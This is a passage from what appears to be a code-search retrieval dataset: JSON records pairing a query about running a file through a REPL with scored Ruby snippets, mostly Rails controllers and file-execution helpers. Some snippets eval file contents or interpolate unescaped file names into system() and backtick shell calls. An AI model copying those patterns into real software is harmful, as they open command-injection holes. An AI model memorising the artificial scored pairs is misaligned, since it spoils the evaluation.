"text": "def update\n @product.update_attributes!(product_params)\n render_success_format('Entrada actualizada',@product,true)\n rescue Exception => e\n render_default_error e, 401\n\n end",
"title": ""
},
{
"docid": "3a48cfc501af0a491b96d853c734a661",
"score": "0.5934038",
"text": "def confirm_identity(params = {})\n commit(EbayTrading::Requests::ConfirmIdentity, params)\n end",
"title": ""
},
{
"docid": "fe1cb281f94bd7758ab876256030abb7",
"score": "0.59307027",
"text": "def confirm_save\n op=User::Operation::Confirm.run(params) do |op|\n # this is controller-specific. i don't want that in operation (imagine that on the console).\n sign_in(op.contract.model) # from Monban::ControllerHelpers.\n flash[:notice] = \"Yay, you're signed in, buddy!\"\n return redirect_to things_path\n end\n\n @form = op.contract\n render action: :confirm # DISCUSS: rendering should work on Op?\n end",
"title": ""
},
{
"docid": "592f2d96b5172c931eac579c6e5b4702",
"score": "0.59305215",
"text": "def destroy\n flash[:notice] = 'Product was successfully destroyed.' if @product.destroy\n end",
"title": ""
},
{
"docid": "a96e13797d84abade4e1f468674cd4f2",
"score": "0.59271973",
"text": "def trade_confirm\n\n # might not need this if \n if params[:commit] == \"Confirm\"\n\n #send the holding\n #Quary Holding table in DB find by trade id\n @trad_details = Holding.find(params[:trade_id])\n\n #send the live stock price per unit adain. last time\n @price_per_unit = Holding.priceperunitcalc(@trad_details)\n\n # finalise and send massage to user \n @message = Holding.tradeconfirmed(params[:trade_id], current_user.id, params[:quantity])\n end\n end",
"title": ""
},
{
"docid": "7fdc0934554cc2065294b34496382253",
"score": "0.5918603",
"text": "def confirm\n Deferred.mail UserMailer.confirm_email(current_user)\n flash[:success] = I18n.t(\"sessions.email.confirmation.sent\")\n \n identity_cancelled!\n end",
"title": ""
},
{
"docid": "68272edd42886b5667d17b2e1f948fbc",
"score": "0.5916221",
"text": "def confirm\n @ticket.confirm!\n json_response(@ticket.decorate, :created)\n end",
"title": ""
},
{
"docid": "0ca18471f712b23a5fb607106bfb0197",
"score": "0.59149617",
"text": "def destroy\n if current_user.id == @auction.product.user_id\n @auction.destroy \n respond_to do |format|\n format.html { redirect_to user_products_path(current_user), notice: 'Auction was successfully destroyed.' }\n format.json { head :no_content }\n end\n else\n redirect_to products_path, notice: 'You are not the owner of the product'\n end\n end",
"title": ""
},
{
"docid": "5501ac746790d0c547a0bc205f15ae33",
"score": "0.5913014",
"text": "def purchase\n @amout = params[:amount]\n if user_signed_in?\n session[:cart].each do |p|\n product = Product.find(p['product_id'].to_i)\n current_quantity = product.quantity\n qty = current_quantity.to_i - p['quantity'].to_i\n product.update(quantity: qty)\n end\n session[:cart] = nil\n render partial: 'charges/checkout'\n else\n render template:'/devise/sessions/new', layout: false\n end\nend",
"title": ""
},
{
"docid": "f063960ef66f7c40f976d46ccbeba5bb",
"score": "0.59087986",
"text": "def new_bid_added(product, user)\n @product=product\n @user=user\n\n mail to: @user.email, subject: \"New bid on product #{@product.title}\"\n end",
"title": ""
},
{
"docid": "04db9def35160b849cb0ecec91398965",
"score": "0.59062093",
"text": "def new\n \n # Find product\n @product = Product.where(:id => params[:product_id]).first\n \n # TOTAL must be in cents \n @total = (@product.amount * 100).to_i\n \n # Store product that we are purchasing in session\n array = [\"#{@product.id}\"]\n session[:purchase_ids] = array\n \n if !@product.blank?\n \n # Setup the Paypal purchase and redirect for confirmation\n setup_response = gateway.setup_purchase(@total,\n :ip => request.remote_ip,\n :return_url => url_for(:controller => 'cart', :action => 'confirm', :only_path => false),\n :cancel_return_url => url_for(:controller => 'cart', :action => 'index', :only_path => false)\n ) \n redirect_to gateway.redirect_url_for(setup_response.token)\n \n else\n render 'error'\n end\n end",
"title": ""
},
{
"docid": "fb49ef02ed9c04a93044c5225987a909",
"score": "0.5894966",
"text": "def update\n\n if (current_user.role == \"buyer\")\n @order.state=1\n end\n if (current_user.role == \"seller\")\n if (@order.state == \"confirmed\")\n @order.state=3\n \n end\n if (@order.state == \"pending\")\n @order.state=2\n @product=@order.product\n @product.quantity-=1\n @product.save\n end\n end\n redirect_back(fallback_location: root_path)\n @order.save\n\n end",
"title": ""
},
{
"docid": "c70d37f2b767b234987a1bb49e3029c1",
"score": "0.5892665",
"text": "def remove_product_from_cart\n product = current_user.cart.products.where(id: params[:id].to_i).first\n if UserCart.new(q_params).remove_product(current_user.cart, product)\n redirect_to carts_path, alert: \"Product #{product.id} removed from cart\"\n end\n end",
"title": ""
},
{
"docid": "9b42e3304218968dab4fff2c2484c338",
"score": "0.5891869",
"text": "def confirm_and_delete\n selected = selection_to_edit\n p selected\n prompt = PROMPT_DELETE\n result = prompt.yes?('Are you sure you want delete?')\n if result\n @products.delete_at(selected)\n box_del_confirmation\n else\n manage_menu\n end\n \n end",
"title": ""
},
{
"docid": "8ed9cc8501a0d9cd92ca5d1f9fcb6e79",
"score": "0.58817345",
"text": "def destroy\n @product = current_user.products.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "45db418c7194e1994fc4a97996ab37bc",
"score": "0.58725345",
"text": "def destroy\n product_user = ProductUser.find_by(product_id: @product.id, user_id: params[:id])\n\n if product_user.blank?\n # Show success even if it doesn't exist because it is likely to be a\n # multi-tab issue\n flash[:notice] = text(\"destroy.success\", model: downcase_product_type)\n elsif product_user.destroy\n LogEvent.log(product_user, :delete, session_user)\n flash[:notice] = text(\"destroy.success\", model: downcase_product_type)\n else\n flash[:error] = text(\"destroy.failure\", model: downcase_product_type)\n end\n\n redirect_to action: :index\n end",
"title": ""
}
] |
dfff5351c76f64467e729272d6071645 | Execute the file through the REPL loop, noninteractively. | [
{
"docid": "dc0de63afaddd6c17804ff143ff246e1",
"score": "0.0",
"text": "def load_file_through_repl(file_name); end",
"title": ""
}
] | [
{
"docid": "1c24a81737d4009146f3f728d6073244",
"score": "0.67030925",
"text": "def run(file)\n # ...\n end",
"title": ""
},
{
"docid": "2d9d65f6bc54dc081737b787093eb43c",
"score": "0.6689571",
"text": "def run(filename)\n # This is possibly the most evil Ruby I've written,\n # except for the entire Shell \"basic class\" itself.\n source = File.read(filename)\n instance_eval(source, filename)\n end",
"title": ""
},
{
"docid": "6867acf43964a41e8bb800379bff61da",
"score": "0.6574175",
"text": "def run(r_file)\n @script << \"source(\\'#{r_file}\\')\\n\"\n end",
"title": ""
},
{
"docid": "c0c5a9ad9ba28370d86a049b155130ec",
"score": "0.6564386",
"text": "def execute!\n from_file(filename)\n end",
"title": ""
},
{
"docid": "dddd9b96696c293ae85203d99877f4d9",
"score": "0.6557322",
"text": "def run\n launch\n read_file(@file_path) unless @file == '*'\n read_all if @file == '*'\n end",
"title": ""
},
{
"docid": "fb7f8c96df5aaa11afcdbcb664828221",
"score": "0.65548515",
"text": "def run(file=nil)\n return puts INVALID_FILE_ERR_MSG if file.nil? || !File.exists?(file)\n\n # Create an image editor instance, used by the commands that are executed\n @editor = ImageEditor.new()\n\n # Iterate through each line in file\n File.open(file).each do |line|\n line = line.chomp\n\n # Split line based on spaces\n split_line = line.split(' ')\n\n # If line is empty, move to next line\n if split_line.empty?\n next\n end\n \n # Execute line, display error message if line fails\n begin\n execute_line(split_line)\n rescue UnrecognisedCommandError, InvalidCommandError => e\n puts line << \": \" << e.message\n rescue Exception\n puts \"Unknown error occured\"\n end\n end\n end",
"title": ""
},
{
"docid": "1f6a662f97876255e873b00b235b7afd",
"score": "0.6541325",
"text": "def loop_execute(file)\n old_mtime = nil\n\n loop do\n # print(\"\\e[sWaiting...\")\n sleep(0.5) while (mtime = File.stat(file).mtime) == old_mtime\n # print(\"\\e[u\\e[K\")\n\n begin\n r = eval(File.read(file))\n puts(\"=> #{r.inspect}\")\n rescue IRB::Abort\n puts(\"Abort\")\n return\n rescue Exception => e\n puts(\"#{e.class}: #{e.message}\\n#{e.backtrace.join(\"\\n\")}\")\n end\n\n old_mtime = mtime\n end\nend",
"title": ""
},
{
"docid": "5055f020a77213a96f61b1610a041303",
"score": "0.6507578",
"text": "def eval_file(file)\n irb_context.workspace.binding.eval File.read(file)\n end",
"title": ""
},
{
"docid": "7a35fb64205e0a42e70d3d00c4dbfc0c",
"score": "0.64829403",
"text": "def run_file(filename)\n File.open(filename).each { |line| run_line(line) }\n end",
"title": ""
},
{
"docid": "7bd8b2334feb24636f4d0545e4584ea9",
"score": "0.6481037",
"text": "def run_rc_file(rc_file); end",
"title": ""
},
{
"docid": "7bd8b2334feb24636f4d0545e4584ea9",
"score": "0.6481037",
"text": "def run_rc_file(rc_file); end",
"title": ""
},
{
"docid": "9b77ab2d219c513a86f42ac6130be892",
"score": "0.64377755",
"text": "def run_file(name)\n run(File.read(name), name)\n end",
"title": ""
},
{
"docid": "45437ac705a10d917bc96fb24228eadd",
"score": "0.63928354",
"text": "def run_rc_file(rc_file)\n interface = ScriptInterface.new(rc_file)\n\n ScriptProcessor.new(nil, interface).process_commands\n end",
"title": ""
},
{
"docid": "c33b4166727e7b4d2b398b6557465f15",
"score": "0.6383791",
"text": "def run\n excode, offset = exact\n\n code = \"\\n\"\n# code << special_requirements\n code << \"require '#{file}'\\n\"\n code << \"eval(<<'_____#{handle}_____', TOPLEVEL_BINDING, '#{file}', #{offset})\\n\"\n code << excode\n code << \"\\n_____#{handle}_____\\n\\n\"\n\n cmd = ['ruby', *argv].join(' ')\n\n result = IO.popen(cmd,\"w+\") do |ruby|\n ruby.puts code\n ruby.close_write\n puts ruby.read\n end\n end",
"title": ""
},
{
"docid": "528184e9611d713b2516dc2d138c9243",
"score": "0.6363499",
"text": "def execute_file(full_path, args)\n\t\to = Rex::Script::Shell.new(self, full_path)\n\t\to.run(args)\n\tend",
"title": ""
},
{
"docid": "c0335f4a9dbc7e806260f2206653c6bc",
"score": "0.6323455",
"text": "def run_from_file(filename)\n file = File.new(filename, 'r')\n content = file.read\n file.close\n run(content)\n end",
"title": ""
},
{
"docid": "049f8d7d0406e468d7b9f2683a77fb6a",
"score": "0.63143456",
"text": "def run_file(path)\n content = File.read(path)\n run(content)\n exit(65) if @had_error\n exit(70) if @had_runtime_error # let the calling process know\n end",
"title": ""
},
{
"docid": "ed6989fc298e733375a55cd4e15a84da",
"score": "0.6310711",
"text": "def reload!\n puts 'Reloading...'\n exec(CONSOLE_FILE)\nend",
"title": ""
},
{
"docid": "85f3101d6116366d9953d0e67b3afef4",
"score": "0.6293063",
"text": "def execute_file(path)\n execute_text File.read(path)\n end",
"title": ""
},
{
"docid": "6c3692734ca08f3c0dcf335c27cad179",
"score": "0.623265",
"text": "def run_script(filename)\n File.open(filename, 'r').each_line do |line|\n line.chomp!\n if !line.empty?\n @session = Session.new(@driver)\n action = get_action(line)\n params = get_params(line)\n parse_command(action, params)\n end\n end\n end",
"title": ""
},
{
"docid": "8cbb2d2689ceada431656aed0413f2b9",
"score": "0.6232615",
"text": "def run\n eval(@source, binding, (@filename || \"(expectr)\"), 0)\n end",
"title": ""
},
{
"docid": "38bae0182122e998955d8e164a3a0f1b",
"score": "0.6218833",
"text": "def repl_run\n while @mode\n @cnt += 1\n print '> '\n line = get_line\n exit_out(0) if line[0].match?(/^quit\\z/i)\n parse_line line unless line.empty?\n end\n end",
"title": ""
},
{
"docid": "8e4f5553e88831ee390eed7bbc0c3fb8",
"score": "0.620711",
"text": "def exec_file(file, *arg)\n exec(File.read(file), *arg)\n end",
"title": ""
},
{
"docid": "9119a2934a5bdb8955f1bf90e70e2237",
"score": "0.6187445",
"text": "def eval_file(file_path)\n parent_context = IRB.CurrentContext\n new_io = IRB::FileInputMethod.new(File.expand_path(file_path, parent_context.io.file_name))\n new_irb = IRB::Irb.new(parent_context.workspace, new_io)\n new_irb.context.irb_name = File.basename(new_io.file_name)\n new_irb.context.irb_path = new_io.file_name\n IRT::Session.eval_input(new_irb.context, :file)\n IRT::Session.exit\n end",
"title": ""
},
{
"docid": "169c1103d07bfac0923df544cb878082",
"score": "0.6157602",
"text": "def repl\n loop do\n write @prompt\n command = get\n goodbye if command.nil?\n response = execute command\n writeln response.chomp unless response.nil? || response.empty?\n end\n rescue => ex\n exception_message ex\n retry\n end",
"title": ""
},
{
"docid": "36b768a644ca45d97f7f5a8864f576d4",
"score": "0.61429584",
"text": "def file_run(file)\n file.each do |line|\n @cnt += 1\n line = line.split ' '\n exit_out(0) if line[0].match?(/^quit\\z/i)\n parse_line line unless line.empty?\n end\n file.close\n end",
"title": ""
},
{
"docid": "16afb1862f85b250c0a2602c95520cd6",
"score": "0.6122127",
"text": "def run\n find_files\n refresh_file_display\n loop do\n cmd = Readline.readline('smurftp> ')\n finish if cmd.nil? or cmd =~ /^(e|exit|q|quit)$/\n next if cmd == \"\"\n Readline::HISTORY.push(cmd)\n command, files = parse_command(cmd)\n if files\n add_files_to_queue(files)\n end\n command.call\n end\n end",
"title": ""
},
{
"docid": "51afe5528f5e8581b5064af6c7089bf1",
"score": "0.61221",
"text": "def script\n CodeLoader.execute_file @rest.first, nil, @print\n end",
"title": ""
},
{
"docid": "b68fcc41a79a6952e79175b25059a58a",
"score": "0.6093108",
"text": "def execute!\n \tsystem(\"vim #{file} -c 'execute \\\"normal i#{escaped_commands}\\\\<Esc>\\\"' -c 'execute \\\":wq\\\"'\")\n File.read(file)\n end",
"title": ""
},
{
"docid": "6847871ac71c8c76fce197adf2016e6c",
"score": "0.60831195",
"text": "def execute_file(file, in_binding = nil)\n\t\tclient = self\n\n\t\tRex::Script.execute_file(file, in_binding ? in_binding : binding)\n\tend",
"title": ""
},
{
"docid": "9d13fc408edcf2eb5beed99cd33fa53f",
"score": "0.6065808",
"text": "def execute_file(file_name)\r\n puts \"Loading file #{file_name}...\"\r\n execute(Parser.new(StringSource.new(IO.readlines(file_name))))\r\n end",
"title": ""
},
{
"docid": "9d13fc408edcf2eb5beed99cd33fa53f",
"score": "0.6065808",
"text": "def execute_file(file_name)\r\n puts \"Loading file #{file_name}...\"\r\n execute(Parser.new(StringSource.new(IO.readlines(file_name))))\r\n end",
"title": ""
},
{
"docid": "dc8f3a77e08bd0cc257d9917f811f57d",
"score": "0.60475814",
"text": "def source file\n @client.run in: file\n end",
"title": ""
},
{
"docid": "979dbe45c072e534256211633e04f0ef",
"score": "0.60468376",
"text": "def print_own_code \n \n File.open($PROGRAM_NAME, \"r\") do |file| # COULD USE $0, possible to do with a QUINE\n file.readlines.each do |line|\n puts line.to_s\n end\n end\n \nend",
"title": ""
},
{
"docid": "a9c0d9e85f9296209d4aa04da675fe97",
"score": "0.6031527",
"text": "def run_file(_filename = nil)\n #This is a stub, used for indexing\nend",
"title": ""
},
{
"docid": "ad1d84677b73fe6b96074480ee082cfe",
"score": "0.60189885",
"text": "def run\n\n\t# PROCESS ARGV\n\tif ARGV.include? \"-h\" or ARGV.include? \"--help\"\n\t\tprint_help\n\t\texit\n\tend\n\tif ARGV.include? \"-v\"\n\t\t$config[\"verbose\"] = true\n\tend\n\tif ARGV.include? \"-i\"\n\t\t$config[\"mode\"] = \"interactive\"\n\tend\n\tfor arg in ARGV\n\t\tif [\"-h\", \"--help\", \"-v\", \"-i\"].include? arg # Ignore flags \n\t\t\tnext\n\t\tend\n\n\t\t# Grab filename.\n\t\tif not $config[\"input_filename\"]\n\t\t\t$config[\"input_filename\"] = arg\n\t\telse\n\t\t\tputs \"REPL ERROR: Currently, this only supports running a single file.\"\n\t\t\texit\n\t\tend\n\n\t\tif not File.exists? $config[\"input_filename\"]\n\t\t\tputs \"REPL ERROR: Input file '#{$config[\"input_filename\"]} does not exist.\"\n\t\t\texit\n\t\tend\n\tend\n\n\t# Check that all needed config variables have been set.\n\tif not $config[\"input_filename\"] and $config[\"mode\"] == \"normal\"\n\t\tputs \"REPL ERROR: No input file indicated. Use -h flag for help.\"\n\t\texit\n\tend\n\n\t# CONTROL FLOW\n\tif $config[\"mode\"] == \"normal\"\n\t\tparser = Parser.new TokenStream.new $config[\"input_filename\"]\n\t\tprogram = parser.run\n\t\teval_program(program)\n\telsif $config[\"mode\"] == \"interactive\"\n\n\t\tenv = {}\n\t\tstack_trace = []\n\n\t\tif $config[\"input_filename\"]\n\t\t\tparser = Parser.new TokenStream.new $config[\"input_filename\"]\n\t\t\tprogram = parser.run\n\t\t\t_, env = eval_program(program)\n\t\t\tif env == nil # error occured in eval_program.\n\t\t\t\tputs \"Interactive mode running with an empty environment.\"\n\t\t\t\tenv = {}\n\t\t\tend\n\t\tend\n\n\t\tint_token = InteractiveTokenStream.new\n\t\tint_parser = Parser.new int_token\n\t\twhile int_token.peak\n\t\t\tbegin\n\t\t\t\tnode = int_parser.parse_next\n\t\t\trescue => e\n\t\t\t\tputs e.message\n\t\t\t\tnext\n\t\t\tend\n\n\t\t\tbegin\n\t\t\t\tvalue, env = eval_program_under([node], env, stack_trace)\n\t\t\t\tprint_on_terminal(value)\n\t\t\trescue => e\n\t\t\t\tputs e.message\n\t\t\tend\n\t\tend\n\tend\n\nend",
"title": ""
},
{
"docid": "e8431f40f58958a7e34dcb729b757379",
"score": "0.6005489",
"text": "def run(filename=nil)\n if filename\n file = File.new(filename)\n while word = file.gets\n evaluate(word.chomp)\n end\n file.close\n end\n\n while true\n evaluate(get_next_word)\n end\n end",
"title": ""
},
{
"docid": "9762cc42730a9b190e33966b239d2e5e",
"score": "0.5995175",
"text": "def run_script(file, verbose = false)\n interface = ScriptInterface.new(File.expand_path(file), verbose)\n processor = ControlCommandProcessor.new(interface)\n processor.process_commands\n end",
"title": ""
},
{
"docid": "e3f9a937831d2e9593ee7743480703c0",
"score": "0.599245",
"text": "def l(file_name)\r\n @_break = false\r\n lines = IO.readlines(file_name)\r\n\r\n lines.each do |line|\r\n exec_line(line)\r\n return if @_break\r\n end\r\n\r\n \"End of file '#{file_name}'.\"\r\n end",
"title": ""
},
{
"docid": "f9903ee9a6512968665e64304c78e0aa",
"score": "0.5990049",
"text": "def do_edit(args = [])\n puts \"Waiting on editor ...\"\n Dobby.execute(\"#{ENV['EDITOR']} #{get_value 'file'}\")\n puts \"Error Editing\" if $?.exitstatus != 0\n\n # Attempt to restart\n do_restart\n end",
"title": ""
},
{
"docid": "b7d9a8778138ba87c80e4d26cb22851b",
"score": "0.5983132",
"text": "def execute!\n old = $0\n begin\n $0 = script_file\n instance_eval(File.read(script_file), script_file, 1)\n ensure\n $0 = old\n end\n end",
"title": ""
},
{
"docid": "83cd2d0166b4208153845ff365ca35d8",
"score": "0.59662044",
"text": "def handle(filename)\n \n \n puts \"=> #{self.class} running test for #{filename}\" if Bolt.verbose?\n \n if reload(filename)\n test_files = translate(filename) \n return if test_files == []\n \n puts \"==== #{self.class} running: #{ test_files.join(', ')} ====\"\n \n run(test_files)\n \n puts \"==== #{self.class} completed run ====\"\n end\n end",
"title": ""
},
{
"docid": "bbffd9cb515f311e1bc286a062949b4c",
"score": "0.59646946",
"text": "def run_file\n#system(\"Notepad @file\")\n@@list.each do |k,v|\nsystem %{cmd /c \"start #{v}\"} if k == $index\nend\n## End of File Selector method\nend",
"title": ""
},
{
"docid": "5609afaea3b90b2caa0e512fcc6f50f2",
"score": "0.5956178",
"text": "def run( filename = nil )\r\n\r\n begin\r\n\r\n if filename\r\n file = File.new( filename )\r\n else\r\n showUsage\r\n end\r\n\r\n recordedCommandsFile = nil\r\n\r\n loop {\r\n\r\n resetErrorInfo\r\n\r\n if filename.nil?\r\n showAvailableCommands\r\n\r\n print \"Enter a command: \"\r\n inputLine = gets\r\n\r\n else\r\n evalAvailableCommands\r\n inputLine = file.gets\r\n break if inputLine.nil?\r\n end\r\n\r\n if inputLine.index( '\\t' )\r\n separator = \"\\t\"\r\n elsif inputLine.index( \",\" )\r\n separator = \",\"\r\n else\r\n separator = \" \"\r\n end\r\n\r\n args = inputLine.split\r\n inputcommand = args[0]\r\n\r\n if filename.nil? and recordedCommandsFile and inputcommand != \"record\"\r\n recordedCommandsFile.write( inputLine )\r\n end\r\n\r\n input = splitString( inputLine, separator )\r\n\r\n if input and input.length > 0\r\n\r\n (0..input.length-1).each{ |i| input[i].strip!;input[i].gsub!( \"\\\"\", \"\") }\r\n\r\n if @aliases and @aliases.include?( inputcommand )\r\n command = @aliases[ inputcommand ]\r\n else\r\n command = inputcommand\r\n end\r\n\r\n break if command == \"quit\"\r\n\r\n if command == \"usage\"\r\n showUsage\r\n elsif command == \"record\"\r\n if input.length == 2\r\n recordedCommandsFile.close if recordedCommandsFile\r\n recordedCommandsFile = File.open( input[ 1 ], \"w\" )\r\n puts \"Unable to open file '#{input[ 1 ]}' for writing.\" if recordedCommandsFile.nil?\r\n elsif input.length < 2\r\n puts \"Command file name is missing. Enter 'record filename'\"\r\n end\r\n elsif command == \"run\"\r\n if input.length == 2 and FileTest.readable?( input[ 1 ] )\r\n run( input[ 1 ] )\r\n elsif input.length < 2\r\n puts \"Command file name is missing. Enter 'run filename'\"\r\n else\r\n puts \"'#{input[1]}' is not a readable file\"\r\n end\r\n elsif command == \"ruby\"\r\n begin\r\n inputLine.sub!( \"ruby\", \"\" )\r\n puts inputLine\r\n eval( inputLine )\r\n rescue StandardError => e\r\n puts \"Error: #{e}\"\r\n end\r\n elsif command == \"?\"\r\n showAvailableCommands\r\n puts \"API commands:\\n#{clientMethods().sort().join(', ')}\\n\"\r\n elsif @commands and @commands.include?( command ) and @availableCommands.include?( command )\r\n\r\n cmd = @commands[ command ]\r\n input.shift\r\n\r\n if cmd.args and cmd.args.length == 1\r\n inputLine.sub!( inputcommand, \"\" )\r\n inputLine.strip!\r\n input = [ inputLine ]\r\n end\r\n\r\n if prompt( cmd.prompt )\r\n begin\r\n if cmd.args and input.length == cmd.args.length\r\n case input.length\r\n when 1\r\n puts \"#{cmd.code[0]}( #{input[0]} )\"\r\n send( cmd.code[0], input[0] )\r\n when 2\r\n puts \"#{cmd.code[0]}( #{input[0]}, #{input[1]} )\"\r\n send( cmd.code[0], input[0], input[1] )\r\n when 3\r\n puts \"#{cmd.code[0]}( #{input[0]}, #{input[1]}, #{input[2]} )\"\r\n send( cmd.code[0], input[0], input[1], input[2] )\r\n when 4\r\n puts \"#{cmd.code[0]}( #{input[0]}, #{input[1]}, #{input[2]} , #{input[3]})\"\r\n send( cmd.code[0], input[0], input[1], input[2], input[3] )\r\n when 5\r\n puts \"#{cmd.code[0]}( #{input[0]}, #{input[1]}, #{input[2]} , #{input[3]}, #{input[4]})\"\r\n send( cmd.code[0], input[0], input[1], input[2], input[3], input[4] )\r\n end\r\n\r\n (1..cmd.code.length-1).each{ |c|\r\n puts \"#{cmd.code[c]}\"\r\n send( cmd.code[c] )\r\n }\r\n\r\n elsif cmd.args.nil?\r\n cmd.code.each{ |c|\r\n puts \"#{c}\"\r\n send( c )\r\n }\r\n else\r\n puts \"Information missing: #{cmdString( command, false )}\"\r\n end\r\n rescue StandardError => e\r\n puts \"Error: #{e}\"\r\n end\r\n end\r\n\r\n elsif clientMethods().include?( command )\r\n puts inputLine\r\n begin\r\n eval( inputLine )\r\n rescue StandardError => e\r\n puts \"Error: #{e}\"\r\n end\r\n else\r\n puts \"Invalid command '#{inputcommand}'\"\r\n end\r\n\r\n if (!@requestSucceeded.nil?) and @requestSucceeded == false\r\n puts \"\\n#{@lastError}\"\r\n end\r\n\r\n if filename.nil?\r\n print \"\\nPress Enter to continue...\"\r\n gets\r\n end\r\n\r\n end\r\n\r\n }\r\n\r\n rescue StandardError => e\r\n puts \"Error: #{e}\"\r\n ensure\r\n signOut if @ticket and filename.nil?\r\n recordedCommandsFile.close if recordedCommandsFile\r\n end\r\n end",
"title": ""
},
{
"docid": "28f82e2e34dbd64f713f1c16722f51df",
"score": "0.5955156",
"text": "def run file_name\n\t\tapplication = select_app file_name #passing the file name to select_app\n\t\t#puts \"#{application} #{file_name}\"\n\t\tsystem \"#{application} #{file_name}\"\n\t\t#Ruby's system method to invoke the app, passing file name\n\t\t#the system method simply kicks the given command into a sub-shell\n\tend",
"title": ""
},
{
"docid": "89ee4d1d734a5ff6bdd9ecc02c71de6e",
"score": "0.59460115",
"text": "def run program\n exec read program\n end",
"title": ""
},
{
"docid": "2a2874b04fbc62cf0596c03f766e643b",
"score": "0.59361315",
"text": "def edit file=nil\n raise \"Must set $EDITOR to use `edit` method!\" unless ENV[\"EDITOR\"]\n raise \"Readline not in use!\" unless defined?(Readline)\n\n require 'shellwords'\n\n @__tmp_edit_files__ ||= []\n\n edit_data = nil\n file_name = file\n file_name = @__tmp_edit_files__.last if file.nil? && @__tmp_edit_files__.last\n\n if file_name == :last || file_name.nil?\n edit_data = IRB.CurrentContext.code_chunks[-2].to_s\n end\n\n if edit_data\n result = nil\n __with_tmp_file__(edit_data, false) do |file_path|\n @__tmp_edit_files__ << file_path\n\n result = __edit_and_execute file_path\n end\n result\n else\n __edit_and_execute file_name\n end\nend",
"title": ""
},
{
"docid": "2a2874b04fbc62cf0596c03f766e643b",
"score": "0.59361315",
"text": "def edit file=nil\n raise \"Must set $EDITOR to use `edit` method!\" unless ENV[\"EDITOR\"]\n raise \"Readline not in use!\" unless defined?(Readline)\n\n require 'shellwords'\n\n @__tmp_edit_files__ ||= []\n\n edit_data = nil\n file_name = file\n file_name = @__tmp_edit_files__.last if file.nil? && @__tmp_edit_files__.last\n\n if file_name == :last || file_name.nil?\n edit_data = IRB.CurrentContext.code_chunks[-2].to_s\n end\n\n if edit_data\n result = nil\n __with_tmp_file__(edit_data, false) do |file_path|\n @__tmp_edit_files__ << file_path\n\n result = __edit_and_execute file_path\n end\n result\n else\n __edit_and_execute file_name\n end\nend",
"title": ""
},
{
"docid": "146ae7cc24d426fb68178ea38c34c9f8",
"score": "0.59307015",
"text": "def repl\n raise \"REPL not implemented yet\"\n end",
"title": ""
},
{
"docid": "702aef4565ef7231786d61afa9f488d5",
"score": "0.5913609",
"text": "def run\n file_content = read_file_to_string(@file_name)\n partials_in_file = scan_file_content(file_content)\n output_line\n puts \"#{@file_name}\"\n scan_files(partials_in_file, 1)\n output_line\n end",
"title": ""
},
{
"docid": "71f6a144baf7410fb93f6fda41a26887",
"score": "0.5876458",
"text": "def run(file_name)\n application = select_app file_name\n system \"#{application} #{file_name}\"\n end",
"title": ""
},
{
"docid": "8f8d95e922f5c9e0741862ca2f96c830",
"score": "0.58702666",
"text": "def run_sire\r\n until @_done\r\n @_break = false\r\n exec_line(@_edit.readline(prompt: 'SIRE>'))\r\n end\r\n\r\n puts \"\\n\\n\"\r\n\r\n rescue MiniReadlineEOI, Interrupt => e\r\n puts \"\\nInterrupted! Program Terminating.\"\r\n end",
"title": ""
},
{
"docid": "c250f6a676b88b5f3acbb33aa8f56255",
"score": "0.5858975",
"text": "def eval_file; end",
"title": ""
},
{
"docid": "1b9d1449a3548b4e37427d374d1e74e4",
"score": "0.58532876",
"text": "def run(file, line)\n system *command_for(file, line)\n end",
"title": ""
},
{
"docid": "22f085d94d5281bdb3de8f6dba5596ab",
"score": "0.5848766",
"text": "def run\n\t\t\tloop do\n\t\t\t\tcmd = Readline.readline('solve$ ')\n\n\t\t\t\tfinish if cmd.nil? or cmd == 'exit'\n\t\t\t\tnext if cmd == \"\"\n\t\t\t\tReadline::HISTORY.push(cmd)\n\n\t\t\t\texecute(cmd)\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "3ef6e1d40c45fd6c7092c6354db64ff1",
"score": "0.5838812",
"text": "def run\n while get_command\n end\n end",
"title": ""
},
{
"docid": "f0da7f52e22e8eda9bbec50e5aa6ba85",
"score": "0.5834354",
"text": "def render_file(path)\n result = Automux::Library::MiniErb.new(File.read(path)).result(@binding)\n modified_result = remove_empty_lines(result)\n environmental_execute modified_result\n end",
"title": ""
},
{
"docid": "3365cc4bcb3085aad62b60d3bae735de",
"score": "0.5832395",
"text": "def run( file )\n self.chroot\n self.redirect_io( true )\n\n DaemonKit.configuration.log_stdout = true\n\n require file\n end",
"title": ""
},
{
"docid": "34e196fd58e93b96b8e276a73d532451",
"score": "0.5809779",
"text": "def show_file(path, mode)\n print \"\\n|* alright! view file? Y/n: \"\n view_file = gets.chomp\n if view_file == \"y\" or view_file == \"\"\n t3 = Thread.new{\n `vlc --qt-minimal-view --quiet #{@outfile}`\n }\n t3.join\n restarting(path, mode)\n else\n restarting(path, mode)\n end\nend",
"title": ""
},
{
"docid": "c7ab8af584ea182fbe2cc2f5305c4f23",
"score": "0.5806504",
"text": "def run file_name\n application = select_app file_name\n system \"#{application} #{file_name}\"\n end",
"title": ""
},
{
"docid": "29b08aee1dcecf7e176a26d2532fbb59",
"score": "0.57995105",
"text": "def eval_snippet(filename)\n path = \"#{CODE_SNIPPET_DIR}/#{filename}\"\n if path.end_with? '.rb'\n result = eval_ruby_snippet path\n elsif path.end_with? '.py'\n result = eval_python_snippet path\n elsif path.end_with? '.sh'\n result = eval_shell_snippet path\n else\n raise \"dont know how to execute #{filename}\"\n end\n if $?.exitstatus != 0\n raise \"error executing #{filename}\"\n end\n result\nend",
"title": ""
},
{
"docid": "16b154f5cd4ea53eac9373fdec95e834",
"score": "0.5787739",
"text": "def repl; end",
"title": ""
},
{
"docid": "4a790d3a9b6259389cf2ce82a7d464d4",
"score": "0.5785863",
"text": "def run\n if (! @running.nil?)\n raise \"Already running\"\n end\n info(VERSION_STRING)\n reset\n\n @running = ConditionVariable.new\n if @interactive\n require 'irb'\n ARGV.clear\n ARGV << \"--simple-prompt\"\n ARGV << \"--noinspect\"\n IRB.start()\n else\n interrupted = false\n trap(\"INT\") { interrupted = true }\n trap(\"TERM\") { interrupted = true }\n loop do\n if interrupted\n communicator.quit\n ExecApp.killAll\n exit\n end\n\t sleep 1\n end\n end\n end",
"title": ""
},
{
"docid": "7735c17137f39086f61c96921cd70c81",
"score": "0.5783033",
